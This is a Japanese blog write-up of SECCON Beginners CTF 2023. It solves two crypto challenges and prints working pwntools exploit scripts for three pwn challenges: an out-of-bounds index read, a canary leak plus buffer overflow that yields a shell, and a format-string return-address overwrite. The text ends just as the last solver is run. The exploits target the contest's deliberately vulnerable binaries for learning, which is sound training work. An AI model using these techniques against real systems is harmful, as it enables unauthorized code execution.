プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

SECCON Beginners CTF 2023 write-up

SECCON Beginners CTF 2023に、一人チームrotationで参加しました。そのwrite-up記事です。今回は初心者向けCTFということでなるべく丁寧に書きます。

2023/08/21 21:15 追記: 問題等はSECCON/SECCON_Beginners_CTF_2023で公開されています。

コンテスト概要

2023/06/03(土) 14:00 +09:00 - 2023/06/05(日) 14:00 +09:00 の開催期間でした。他ルールはRulesページから引用します:

競技形式
Jeopardy形式

ルール
得点はチーム毎に集計します。集計にはダイナミックスコアリング方式(多くのチームが解いた問題ほど点数が低くなるような方式)を用います。
原則競技中には問題の追加を行いません。問題の設定ミスなどが発覚した場合には、例外的に修正版の問題が公開される場合があります。
フラグのフォーマットは ctf4b{[\x20-\x7e]+} です。これと異なる形式を取る問題に関しては、別途問題文等でその旨を明示します。
誤った解答を短時間の内に何度も送信した場合は、当該チームからの回答を一定時間受け付けない状態(ロック状態)になる場合があります。またこの状態でさらに不正解を送信し続けた場合はロックされる時間がさらに延長される可能性があります。

禁止事項
他チームへの妨害行為
他チームの回答などをのぞき見する行為
他者への攻撃的な発言 (暴言 / 誹謗中傷 / 侮辱 / 脅迫 / ハラスメント行為など)
自チームのチーム登録者以外に問題・ヒント・解答を教えること
自チームのチーム登録者以外からヒント・解答を得ること(ただし運営者が全員に与えるものを除く)
設問によって攻撃が許可されているサーバ、ネットワーク以外への攻撃
競技ネットワーク・サーバなどの負荷を過度に高める行為(リモートから総当たりをしないと解けない問題はありません!)
その他、運営を阻害する行為
不正行為が発見された場合、運営側の裁量によって減点・失格などのペナルティがチームに対して課せられます。大会後に発覚した場合も同様とします。

特記事項
出題内容や開催中のアナウンスは原則日本語としますが、問題中で英語が用いられる場合があります。
チーム人数に制限はありません。お一人でも、数十人でも、お好きな人数でチームを作成していただいて構いません。
本大会では上位チームへの賞金・賞状の授与等は行いません。
SECCON CTF への出場権とは一切の関係がありませんので、ご注意ください。

結果

正の得点を得ている778チーム中、1606 pointsで30位でした。

灰色背景: 解けた問題

また、本CTFではCertificateページが提供されています。その内容はこちらです:

Certificate内容

環境

WindowsのWSL2(Ubuntu 22.04)を使って取り組みました。

私が持っているマシンはWindowsマシンだけという消極的な理由もあるのですが、たまにEXEのお試し実行や動的解析をしたくなる問題もあるため、Windows環境があると嬉しいことが多いです。WindowsのProバージョンではWindows Sandboxという機能があり、設定次第でネットワークから隔離された環境で好きなバイナリを実行できるので便利です。

それとは別に、Linuxコマンドを使いたいことが多かったり、大多数のpwnやreversingジャンルの問題で出てくるELFのお試し実行や動的解析をしたい問題も多いです。特にncコマンドでサーバーへ接続する問題がよくあります。そのような理由で、私のWindowsにWSL2をインストールして、その上でUbuntuを使用しています。また今回はWSL2ですべて事足りましたが、問題によってはGUIアプリケーションのELFを動かしたい場合があります。その場合はWSL上では実行エラーになることが多いため、「VirtualBox+適当なLinuxディストリビューション(REMnux等)」を併用することもあります。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19045.3031]

c:\>wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-22.04           Running         2
  kali-linux             Stopped         2
  docker-desktop         Running         2
  docker-desktop-data    Running         2

c:\>

他ソフト

  • IDA Version 8.2.221215 Windows x64 (64-bit address size) (なお、Free版IDA version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます。version 7頃から引き続き、x64バイナリも同様に逆コンパイルができます。)
  • Wireshark Version 4.0.6 (v4.0.6-0-gac2f5a01286a).
  • Binary Editor BZ Version 1.9.8.7

WSL2(Ubuntu 22.04)

$ cat /proc/version
Linux version 5.15.90.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Fri Jan 27 02:56:13 UTC 2023
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.2 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.2 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
$ python3 --version
Python 3.10.6
$ python3 -m pip show pip | grep Version
Version: 22.0.2
$ python3 -m pip show IPython | grep Version
Version: 7.31.1
$ python3 -m pip show pycryptodome | grep Version
Version: 3.14.1
$ python3 -m pip show pwntools | grep Version
Version: 4.9.0
$ python3 -m pip show gmpy2 | grep Version
Version: 2.1.2
$ gdb --version | head -2
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
$ cat ~/peda/README | grep -e 'Version: ' -e 'Release: '
Version: 1.0
Release: special public release, Black Hat USA 2012
$ ROPgadget --version
Version:        ROPgadget v6.7
Author:         Jonathan Salwan
Author page:    https://twitter.com/JonathanSalwan
Project page:   http://shell-storm.org/project/ROPgadget/
$ curl --version
curl 7.81.0 (x86_64-pc-linux-gnu) libcurl/7.81.0 OpenSSL/3.0.2 zlib/1.2.11 brotli/1.0.9 zstd/1.4.8 libidn2/2.3.2 libpsl/0.21.0 (+libidn2/2.3.2) libssh/0.9.6/openssl/zlib nghttp2/1.43.0 librtmp/2.3 OpenLDAP/2.5.14
Release-Date: 2022-01-05
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM NTLM_WB PSL SPNEGO SSL TLS-SRP UnixSockets zstd
$ docker --version
Docker version 20.10.24, build 297e128
$ docker-compose --version
Docker Compose version v2.17.2
$

解けた問題

[welcome] Welcome (711 team solved, 50 points)

Welcome to SECCON Beginners CTF 2023!

フラグはDiscordサーバのannouncementsチャンネルにて公開されています。

https://discord.gg/6sKxFmaUyS

Welcome問題としてDiscordでフラグが公開されることはよくあるので、CTF開始時間直前からDiscordを眺めていました。開始時間になると、以下の書き込みがありました:

Tsubasa — Today at 2:00 PM
@everyone 📣 SECCON Beginners CTF 2023 開始 📣

SECCON Beginners CTF 2023 を開始します!
https://score.beginners.seccon.jp/
(注: 競技開始後、スコアサーバにアクセスする際はページのリロードをお願いいたします。)

問題 Welcome のフラグは ctf4b{Welcome_to_SECCON_Beginners_CTF_2023!!!} です。

フラグを入手できました: ctf4b{Welcome_to_SECCON_Beginners_CTF_2023!!!}

[crypto, beginner] CoughingFox2 (388 team solved, 58 points)

暗号問題に初めて挑戦する方向けに独自暗号と暗号化した後の出力を配布します。 ご覧の通り、簡易な暗号方式なので解読は簡単です。 解読をお願いします!

The original cipher for beginners and encrypted text are provided. Needless to say, this cipher is too childish, and that easy to decrypt! So, could you please decrypt it?

配布ファイルとして、問題本体のmain.pyと、その出力のcipher.txtがありました:

$ file *
cipher.txt: ASCII text, with very long lines (307)
main.py:    ASCII text
$

main.pyは以下の内容です:

# coding: utf-8
import random
import os

flag = b"ctf4b{xxx___censored___xxx}"

# Please remove here if you wanna test this code in your environment :)
flag = os.getenv("FLAG").encode()

cipher = []

for i in range(len(flag)-1):
    c = ((flag[i] + flag[i+1]) ** 2 + i)
    cipher.append(c)

random.shuffle(cipher)

print(f"cipher = {cipher}")

また、cipher.txt内容の配列長は43でした。

出力直前にrandom.shuffle(cipher)があるので、順番を元に戻すことができるか考えました。((flag[i] + flag[i+1]) ** 2 + i)は、「フラグをUTF-8で表現したバイト列の、隣り合う2バイトの和」の2乗と、「0~43くらいの値を取るindex」のiの和です。CTFのルールページから、フラグを構成する文字のunicode codepointは0x20(=32)以上と決まっているのでUTF-8変換結果もすべて32以上となり、「2文字の和」の2乗は最低でも(32+32)**2の4096になり、indexを取る範囲を上回っています。このことから、シャッフル後のcipherであっても、cipher各要素のindexを抽出できます。

以上の考察で実現できるcipher要素の順序復元と、フラグ文字列はctf4bから始まるという知識を元に、以下のソルバーを書きました:

#!/usr/bin/env python3

import gmpy2

cipher = [4396, 22819, 47998, 47995, 40007, 9235, 21625, 25006, 4397, 51534, 46680, 44129, 38055, 18513, 24368, 38451, 46240, 20758, 37257, 40830, 25293, 38845, 22503, 44535, 22210, 39632, 38046, 43687, 48413, 47525, 23718, 51567, 23115, 42461, 26272, 28933, 23726, 48845, 21924, 46225, 20488, 27579, 21636]


def split_as_sum_and_index(c):
    rt = gmpy2.isqrt(c)
    return (rt, c - (rt*rt))

l = sorted(list(map(split_as_sum_and_index, cipher)), key=lambda t:t[1])

current = ord("c")
print(chr(current), end="")
for i in range(len(l)):
    current = l[i][0] - current
    print(chr(current), end="")
print()

ここで、平方根の整数要素を取り出すためにgmpy2.isqrtを使用しています。ソルバーを実行しました:

$ ./solve.py
ctf4b{hi_b3g1nner!g00d_1uck_4nd_h4ve_fun!!!}
$

フラグを入手できました: ctf4b{hi_b3g1nner!g00d_1uck_4nd_h4ve_fun!!!}

[crypto, easy] Conquer (152 team solved, 84 points)

なんだか目が回りそうな問題ですね……

配布ファイルとして、問題本体のproblem.pyと、その出力のoutput.txtがありました:

$ file *
output.txt:      ASCII text
problem.py:      Python script, ASCII text executable
$

problem.pyは以下の内容です:

from Crypto.Util.number import *
from random import getrandbits
from flag import flag


def ROL(bits, N):
    for _ in range(N):
        bits = ((bits << 1) & (2**length - 1)) | (bits >> (length - 1))
    return bits


flag = bytes_to_long(flag)
length = flag.bit_length()

key = getrandbits(length)
cipher = flag ^ key

for i in range(32):
    key = ROL(key, pow(cipher, 3, length))
    cipher ^= key

print("key =", key)
print("cipher =", cipher)

ここで、XORは逆演算が存在(a ^ b ^ b == a)すること、ROL関数も逆演算を実装できそうなことからフラグを復元できそうだと分かります。ただし、length = flag.bit_length()の値が分からない点には注意が必要です。「大体cipher.bit_length()あたりのはずなので付近を探索しよう」という発想で、以下のソルバーを書きました:

#!/usr/bin/env python3

from Crypto.Util.number import *

def ROL(bits, N, length):
    for _ in range(N):
        bits = ((bits << 1) & (2**length - 1)) | (bits >> (length - 1))
    return bits

def ROR(bits, N, length):
    for _ in range(N):
        bits = ((2**(length - 1)) if (bits%2==1) else 0) | (bits >> 1)
    return bits

for test in range(1, 1025):
    test_length = test.bit_length()
    assert test == ROR(ROL(test, 3, test_length), 3, test_length)

for diff in range(-10, 50):
    key = 364765105385226228888267246885507128079813677318333502635464281930855331056070734926401965510936356014326979260977790597194503012948
    cipher = 92499232109251162138344223189844914420326826743556872876639400853892198641955596900058352490329330224967987380962193017044830636379

    length = cipher.bit_length() + diff
    for _ in range(32):
        cipher ^= key
        key = ROR(key, pow(cipher, 3, length), length)
    flag = long_to_bytes(cipher^key)
    if b"ctf4b" in flag:
        print(f"{diff = }, {flag.decode()}")
        break

実装したROR関数はROL関数の逆関数になっていてほしいので動作確認用のコードも一部含んでいます。ソルバーを実行しました:

$ ./solve.py
diff = 3, ctf4b{SemiCIRCLErCanalsHaveBeenConqueredByTheCIRCLE!!!}
$

フラグを入手できました: ctf4b{SemiCIRCLErCanalsHaveBeenConqueredByTheCIRCLE!!!}

フラグ内容は意味の有りそうな英文に見えますが、英語能力や数学関係の知識不足で分かりませんでした……

[pwnable, beginner] poem (292 team solved, 65 points)

ポエムを書きました!

nc poem.beginners.seccon.games 9000

配布ファイルとして、問題本体のpoemと、元ソースのsrc.cがありました:

$ file *
poem:  ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=73aada520f90658e3f06467290de52848017d9c8, for GNU/Linux 3.2.0, not stripped
src.c: C source, ASCII text
$

pwn問題では、問題バイナリで使われているセキュリティ機構を知ることが重要です。私は普段、pwntoolsライブラリ(公式ページはGallopsled/pwntools: CTF framework and exploit development library)をインストールすると一緒に導入されるコマンドの1つである、checkseckコマンドを使用しています。なお、当該コマンドは~/.local/bin以下にインストールされるため、環境によってはPATH環境変数へ追加する必要があるかもしれません。また、どうやらpwn checksecchecksecも同一の挙動になるようです。依存ライブラリが明確に分かるという好みから、私はpwn checksecコマンドを使っています。

今回の問題のバイナリを調査してみました:

$ pwn checksec poem
[*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2023/poem/poem'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$

なお、実際のコマンド出力では色付きで分かりやすいものになっています。ともかく今回のpoemバイナリは、堅牢なセキュリティ機構を使用しているようです。それではどのような脆弱性があるのか調べるためにsrc.cを確認しました。以下の内容です:

#include <stdio.h>
#include <unistd.h>

char *flag = "ctf4b{***CENSORED***}";
char *poem[] = {
    "In the depths of silence, the universe speaks.",
    "Raindrops dance on windows, nature's lullaby.",
    "Time weaves stories with the threads of existence.",
    "Hearts entwined, two souls become one symphony.",
    "A single candle's glow can conquer the darkest room.",
};

int main() {
  int n;
  printf("Number[0-4]: ");
  scanf("%d", &n);
  if (n < 5) {
    printf("%s\n", poem[n]);
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

scanf関数の入力に負の値を与えると、範囲外参照が発生することが分かります。適切な値を指定すればflag変数の内容も表示できそうです。グローバル変数のアドレスを調べるため、IDAでpoemバイナリを開いて調べました:

.data:0000000000004020 flag            dq offset aCtf4bCensored ; "ctf4b{***CENSORED***}"
.data:0000000000004028                 align 20h
.data:0000000000004040                 public poem
.data:0000000000004040 poem            dq offset aInTheDepthsOfS
.data:0000000000004040                                         ; DATA XREF: main+59↑o
.data:0000000000004040                                         ; "In the depths of silence, the universe "...
.data:0000000000004048                 dq offset aRaindropsDance ; "Raindrops dance on windows, nature's lu"...
.data:0000000000004050                 dq offset aTimeWeavesStor ; "Time weaves stories with the threads of"...
.data:0000000000004058                 dq offset aHeartsEntwined ; "Hearts entwined, two souls become one s"...
.data:0000000000004060                 dq offset aASingleCandleS ; "A single candle's glow can conquer the "...

ELF x64バイナリにおいてはポインター型変数は1つ8バイトサイズであることを考えると、poem基準でflagを間接参照するために必要なindexは(0x4020 - 0x4040) / 8-4と分かります。ローカルで実験しました:

$ ./poem
Number[0-4]: -4
ctf4b{***CENSORED***}

うまく行ったので、問題文で言及されている通りにncコマンドを実行して接続しました:

$ nc poem.beginners.seccon.games 9000
Number[0-4]: -4
ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}
$

フラグを入手できました: ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}

[pwnable, easy] rewriter2 (95 team solved, 103 points)

BOF...?

nc rewriter2.beginners.seccon.games 9001

配布ファイルとして、問題本体のrewriter2と、元ソースのsrc.cがありました:

$ file *
rewriter2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=286deea2889038d40e35f5ac9847d88b6b27f79b, for GNU/Linux 3.2.0, not stripped
src.c:     C source, ASCII text
$ checksec rewriter2
[*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2023/rewriter2/rewriter2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$

No PIEであるため、ELF実行時には常に同一のアドレスへロードされることが分かります。src.cを確認しました:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x20
#define READ_SIZE 0x100

void __show_stack(void *stack);

int main() {
  char buf[BUF_SIZE];
  __show_stack(buf);

  printf("What's your name? ");
  read(0, buf, READ_SIZE);
  printf("Hello, %s\n", buf);

  __show_stack(buf);

  printf("How old are you? ");
  read(0, buf, READ_SIZE);
  puts("Thank you!");

  __show_stack(buf);
  return 0;
}

void win() {
  puts("Congratulations!");
  system("/bin/sh");
}

void __show_stack(void *stack) {
  unsigned long *ptr = stack;
  printf("\n %-19s| %-19s\n", "[Addr]", "[Value]");
  puts("====================+===================");
  for (int i = 0; i < 10; i++) {
    if (&ptr[i] == stack + BUF_SIZE + 0x8) {
      printf(" 0x%016lx | xxxxx hidden xxxxx  <- canary\n",
             (unsigned long)&ptr[i]);
      continue;
    }

    printf(" 0x%016lx | 0x%016lx ", (unsigned long)&ptr[i], ptr[i]);
    if (&ptr[i] == stack)
      printf(" <- buf");
    if (&ptr[i] == stack + BUF_SIZE + 0x10)
      printf(" <- saved rbp");
    if (&ptr[i] == stack + BUF_SIZE + 0x18)
      printf(" <- saved ret addr");
    puts("");
  }
  puts("");
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

char buf[BUF_SIZE]は少なくとも0x20バイト長である(パディングによってより大きなサイズが割り当てられることがあります)にも関わらず、read関数では最大0x100バイトを読み込むため、バッファオーバーフロー(=Buffer Overe Flow, BOF)の脆弱性がありそうなことが分かります。buf変数はローカル変数なのでスタックに確保されるため、同じくスタック中に存在する戻りアドレスを改ざんしてwin関数へ制御を移せば、/bin/sh経由でフラグが手に入りそうです。

しかし、rewriter2バイナリのセキュリティ機構としてカナリア(Stack Canary)が有効になっています。カナリアはbuf変数と戻りアドレスの間に存在しており、カナリアの値を壊してしまうと、戻りアドレスへreturnする前にプロセスが終了してしまします。そのため、先にカナリアの正しい値を取得して、関数return時点でカナリアの値を元のまま保持させつつ戻りアドレスを改ざんする必要があります。

なお、プログラムの実行例は以下のものです。buf変数内容や戻りアドレスは表示されますが、カナリアの値は隠されます:

$ ./rewriter2

 [Addr]             | [Value]
====================+===================
 0x00007ffe8762ada0 | 0x0000000000000002  <- buf
 0x00007ffe8762ada8 | 0x00007f5cfbb6e780
 0x00007ffe8762adb0 | 0x0000000000000000
 0x00007ffe8762adb8 | 0x00007f5cfb9e2475
 0x00007ffe8762adc0 | 0x0000000000001000
 0x00007ffe8762adc8 | xxxxx hidden xxxxx  <- canary
 0x00007ffe8762add0 | 0x0000000000000001  <- saved rbp
 0x00007ffe8762add8 | 0x00007f5cfb97dd90  <- saved ret addr
 0x00007ffe8762ade0 | 0x00007f5cfbb6a600
 0x00007ffe8762ade8 | 0x00000000004011f6

What's your name? test
Hello, test


 [Addr]             | [Value]
====================+===================
 0x00007ffe8762ada0 | 0x0000000a74736574  <- buf
 0x00007ffe8762ada8 | 0x00007f5cfbb6e780
 0x00007ffe8762adb0 | 0x0000000000000000
 0x00007ffe8762adb8 | 0x00007f5cfb9e2475
 0x00007ffe8762adc0 | 0x0000000000001000
 0x00007ffe8762adc8 | xxxxx hidden xxxxx  <- canary
 0x00007ffe8762add0 | 0x0000000000000001  <- saved rbp
 0x00007ffe8762add8 | 0x00007f5cfb97dd90  <- saved ret addr
 0x00007ffe8762ade0 | 0x00007f5cfbb6a600
 0x00007ffe8762ade8 | 0x00000000004011f6

How old are you? 42
Thank you!

 [Addr]             | [Value]
====================+===================
 0x00007ffe8762ada0 | 0x0000000a740a3234  <- buf
 0x00007ffe8762ada8 | 0x00007f5cfbb6e780
 0x00007ffe8762adb0 | 0x0000000000000000
 0x00007ffe8762adb8 | 0x00007f5cfb9e2475
 0x00007ffe8762adc0 | 0x0000000000001000
 0x00007ffe8762adc8 | xxxxx hidden xxxxx  <- canary
 0x00007ffe8762add0 | 0x0000000000000001  <- saved rbp
 0x00007ffe8762add8 | 0x00007f5cfb97dd90  <- saved ret addr
 0x00007ffe8762ade0 | 0x00007f5cfbb6a600
 0x00007ffe8762ade8 | 0x00000000004011f6

$

試行錯誤の結果、以下の方針で解けそうなことが分かりました:

  1. main関数1回目のread時に、カナリアの先頭1バイトまでを適当な値で埋めます。
    • ユーザー入力をread関数で処理しているため、一般的なC言語標準ライブラリの入力関数とは異なり、入力末尾へ改行文字やNUL文字等を追加しません。そのためその後のprintf関数によるbufアドレス以降の表示の際に、カナリア内容が漏洩します。
    • 「カナリア直前まで埋める」のではなく「カナリアの先頭1バイトまでを埋める」理由は、ASCII-Armorと呼ばれる防衛機構を突破してカナリアを漏洩させるためです。
      • ASCII-Armorとは、カナリア8バイト値の最下位バイト(=Little Endianであるため、バイト単位で見た場合の先頭バイト)を常にNUL文字(=0x00)とするセキュリティ機構です。例えばカナリアの値は0x764358971e285700になります。
        • printf関数等のC標準ライブラリはNUL文字まで出力し、NUL文字以降は出力しないため、先頭にNUL文字があるとカナリアの残りが漏洩しづらくなる、という理屈です。
        • 参考文献があるかググってみましたが、あまり見つかりませんでした。stackprotector: ascii armor the stack canaryが理解の助けになるかもしれません。
      • カナリアの先頭バイトを非NULの文字へ改ざんすることで、カナリアの残り7バイトのどこかに偶然NUL文字が入らない限りは、カナリアすべてを漏洩できます。
  2. printf("Hello, %s\n", buf)時にカナリアの値が手に入るので保存します。
  3. main関数2回目のread時に、カナリア領域は同一の値に保ちつつ、戻りアドレス(__show_stack表示で言うsaved ret addr)をwin関数のアドレスへ改ざんします。
    • read関数ではNUL文字含めて任意のバイト列を読み込めます。そのためカナリア先頭バイトのNUL文字を読み込んだ後でも、引き続きカナリアの残りバイトや、win関数のアドレスも読み込めます。
  4. なお、戻りアドレスを改ざんする際、スタックの16バイトアライメント(16バイト単位に揃っていること)には気をつけます。
    • 64-bit ELFのABI(Application Binary Interface)の仕様として、関数呼び出し時にはRSPレジスタ内容(=スタックのアドレス)を16バイト単位にアライメントしておく必要があります。assembly - Why does the x86-64 / AMD64 System V ABI mandate a 16 byte stack alignment? - Stack Overflowが参考になるかもしれません。
      • RSPが16バイトアライメントになっていない場合は、SIMD命令実行時等でクラッシュします。今回のwin関数内部で使用しているsystem関数呼び出し時にもクラッシュしてしまいます。
    • うまく行かない場合は、ret命令のアドレスに一度経由させた後に目的のwin関数のアドレスへ制御を移させたり、win関数先頭のendbr64; push rbp後にあるmov rbp, rsp命令のアドレスへ制御を移させたりして、RSPの値を8バイト単位で増減させます。うまく行かない場合はそれらを1回挟むと適切なアライメントになるはずです。

なお、pwn問題を解く際は、pwntoolsライブラリを利用すると非常に楽になります。ローカルプロセスの動作確認と本番のリモート接続で共通のインターフェースが利用できる点や、入力待ち処理等が簡単にかける点が大きいです。その他、関数のアドレスの取得や、intbytesの相互変換等、便利な機能が沢山あります。

以上の方針に従って、ローカル実行で動作確認しつつ、ソルバーを実装しました:

#!/usr/bin/env python3

import pwn

BIN_NAME = "./rewriter2"
pwn.context.binary = BIN_NAME
# pwn.context.log_level = "DEBUG" # log_levelを"DEBUG"に指定するとすべての入出力が表示されるため、動作確認が簡単になります

def solve(io):
    elf = pwn.ELF(BIN_NAME)
    addr_ret = 0x4012C1 # system関数を呼び出すためのスタックの16バイトアライメント用
    addr_win = elf.symbols["win"]
    print(f"{hex(addr_win) = }")

    # 改行文字やNUL文字を送らないことで、カナリアを漏洩させる
    # カナリアの最下位バイトは0x00(=ASCII ARMOR)らしいので、それ含めて上書きさせる)
    BUF_SIZE = 40
    io.sendafter(b"What's your name?", b"A"*(BUF_SIZE + 1))
    io.recvuntil(b"Hello, " + b"A" * BUF_SIZE)
    line = io.recvline()
    canary = pwn.unpack(line[:8]) # 上書きしたカナリア最下位バイトも含む
    canary &= 0xFFFFFFFFFFFFFF00
    print(f"{hex(canary) = }")

    payload = pwn.flat(
        b"A" * BUF_SIZE,        # buf領域、なんでもいいです
        pwn.pack(canary),       # canary領域、カナリアと同一の値にすることで内容を維持
        b"A"*8,                 # saved rbp領域、なんでもいいです
        pwn.pack(addr_ret),     # saved ret addr領域、RSPの調整も兼ねてretのアドレスへ飛ばします
        pwn.pack(addr_win))     # ↑のret後に実行させるアドレス
    io.sendafter(b"How old are you?", payload)
    io.interactive()

with pwn.remote("rewriter2.beginners.seccon.games", 9001) as io: solve(io)
command = """
b *0x401257
c
x/10gx $rsp
c
"""
# with pwn.gdb.debug(BIN_NAME, command) as io: solve(io)
# with pwn.process(BIN_NAME) as io: solve(io)

実行しました:

$ ./solve.py
[*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2023/rewriter2/rewriter2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to rewriter2.beginners.seccon.games on port 9001: Done
hex(addr_win) = '0x4012c2'
hex(canary) = '0xf8106c3b9fca4000'
[*] Switching to interactive mode
 Thank you!

 [Addr]             | [Value]
====================+===================
 0x00007fffed86af70 | 0x4141414141414141  <- buf
 0x00007fffed86af78 | 0x4141414141414141
 0x00007fffed86af80 | 0x4141414141414141
 0x00007fffed86af88 | 0x4141414141414141
 0x00007fffed86af90 | 0x4141414141414141
 0x00007fffed86af98 | xxxxx hidden xxxxx  <- canary
 0x00007fffed86afa0 | 0x4141414141414141  <- saved rbp
 0x00007fffed86afa8 | 0x00000000004012c1  <- saved ret addr
 0x00007fffed86afb0 | 0x00000000004012c2
 0x00007fffed86afb8 | 0x00007fffed86b098

Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}
$
[*] Closed connection to rewriter2.beginners.seccon.games port 9001
$

フラグを入手できました: ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}

(「この問題は本当にeasyなんだろうか」と思いながら解いていました)

[pwnable, easy] Forgot_Some_Exploit (51 team solved, 135 points)

あなたの素敵な質問に対して、最高な回答をしてくれるかもしれないチャットアプリです。

nc forgot-some-exploit.beginners.seccon.games 9002

配布ファイルとして、問題本体のchallと、元ソースのsrc.cがありました:

$ file *
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=51902d490e26f7e69ff2620e1904bf0deab03397, for GNU/Linux 3.2.0, not stripped
src.c: C source, ASCII text
$ pwn checksec chall
[*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2023/Forgot_Some_Exploit/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$

main.cを見ると、以下の内容でした:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>

#define BUFSIZE 0x100

void win() {
    FILE *f = fopen("flag.txt", "r");
    if (!f)
        err(1, "Flag file not found...\n");
    for (char c = fgetc(f); c != EOF; c = fgetc(f))
        putchar(c);
}

void echo() {
    char buf[BUFSIZE];
    buf[read(0, buf, BUFSIZE-1)] = 0;
    printf(buf);
    buf[read(0, buf, BUFSIZE-1)] = 0;
    printf(buf);
}

int main() {
    echo();
    puts("Bye!");
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

printf関数に、ユーザー入力bufをそのまま渡しているため、Format String Bug(略称FSB)が存在します。FSBを悪用するとスタック内容の漏洩や、任意アドレスへの書き込みができるもので、とても強力です。

なお、FSBを悪用する際は%1$p等の書式文字列を使用することが多いですが、これはC言語やC++言語の標準仕様ではありません(printf, fprintf, sprintf, snprintf, printf_s, fprintf_s, sprintf_s, snprintf_s - cppreference.com参照)。POSIXの仕様です(fprintf参照)。

今回の問題ではread関数とprintf関数の呼び出しが2回あることと、セキュリティ機構にPIE enabledとあるためwin関数のアドレスは実行ごとに変化することを考慮して、以下の方針にしました:

  1. 1回目のFSBで、スタックのアドレスと、challバイナリのアドレスを特定します。
  2. 2回目のFSBで、echo関数の戻りアドレスをwin関数のアドレスへ改ざんします。

FSBをいろいろ試したり、gdbコマンドでデバッグしてスタック内容を確認したりすると、以下の事が分かりました:

  • %1$pでスタック上のアドレスを取得できます。そこからecho関数実行中における戻りアドレスを試行錯誤で求められます。
  • %45$pで、main関数の先頭アドレスを取得できます。main関数とwin関数のアドレスの差は一定であるため、win関数のアドレスも分かります。

以上のことを利用して、試行錯誤しながらソルバーを書きました。なお、FSBを悪用した任意アドレスの書き込みをする際はpwntoolsライブラリのfmtstr_payload関数が便利です:

#!/usr/bin/env python3

import pwn
import time

BIN_NAME = "./chall"
pwn.context.binary = BIN_NAME
# pwn.context.log_level = "DEBUG"

def solve(io):
    elf = pwn.ELF(BIN_NAME)
    offset_win = elf.symbols["win"] # PIEなので実際のアドレスはまだわからない
    offset_main = elf.symbols["main"]

    io.sendline(b"\n".join([b"%1$p", b"%45$p"]))
    addr_some_stack = int(io.recvline(), 16)
    addr_main = int(io.recvline(), 16)

    # gdb操作結果と見比べてオフセット調整
    addr_stack_ret_of_echo = addr_some_stack + 280
    print(f"{hex(addr_some_stack) = }")
    print(f"{hex(addr_stack_ret_of_echo) = }")

    addr_win = addr_main - offset_main + offset_win
    print(f"{hex(addr_win) = }")
    addr_win_without_push_rbp = addr_win + 1 # スタックの16バイトアライメント調整

    # %pを連打したときに6個目の出力に入力のASCIIが現れるので、第1引数offsetは6
    payload = pwn.fmtstr_payload(6, {addr_stack_ret_of_echo: addr_win_without_push_rbp})
    print(f"{payload = }")
    io.sendline(payload)
    # io.recvuntil(b"Bye!\n")
    print(io.recvall())

command = """
b echo
b printf
c
p $rsp
x/1gx ($rsp+0x08)
c
d 2
fin
p $rsp
p main
x/1gx ($rsp-0xF8)
x/1gx ($rsp+280)
"""

with pwn.remote("forgot-some-exploit.beginners.seccon.games", 9002) as io: solve(io)
# with pwn.gdb.debug(BIN_NAME, command) as io: solve(io)
# with pwn.process(BIN_NAME) as io: solve(io)

実行しました:

$ ./solve.py
